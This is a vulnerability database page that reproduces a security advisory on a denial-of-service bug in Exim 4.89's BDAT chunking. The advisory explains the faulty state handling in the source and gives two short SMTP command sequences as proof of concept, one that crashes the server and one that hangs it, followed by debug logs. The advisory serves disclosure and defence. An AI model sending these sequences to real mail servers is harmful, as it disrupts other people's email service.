Lucene search
K

Exim 4.89 Denial Of Service

🗓️ 27 Nov 2017 00:00:00Reported by mehType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 72 Views

Exim 4.89 Denial Of Service vulnerability via BDAT command allows an infinite loop and program cras

Related
Code
`While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.  
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867  
  
Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.  
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547  
  
Here is a simple PoC which leads to an infinite loop and program crash:  
  
EHLO localhost  
MAIL FROM:<test@localhost>  
RCPT TO:<test@localhost>  
BDAT 10  
.  
BDAT 0  
  
  
Part of debug info  
============================  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30502 SMTP>> 250 0 byte chunk received  
15:36:54 30502 chunking state 0  
15:36:54 30295 child 30502 ended: status=0x8b  
15:36:54 30295 signal exit, signal 11 (core dumped)  
15:36:54 30295 1 SMTP accept process now running  
15:36:54 30295 Listening...  
============================  
  
We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.  
This can be triggered using the following command:  
  
EHLO localhost  
MAIL FROM:<test@localhost>  
RCPT TO:<test@localhost>  
BDAT 100  
.  
MAIL FROM:<test@localhost>  
RCPT TO:<test@localhost>  
BDAT 0 LAST  
  
// Tested on current master, ubuntu16.04.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Nov 2017 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.77909
72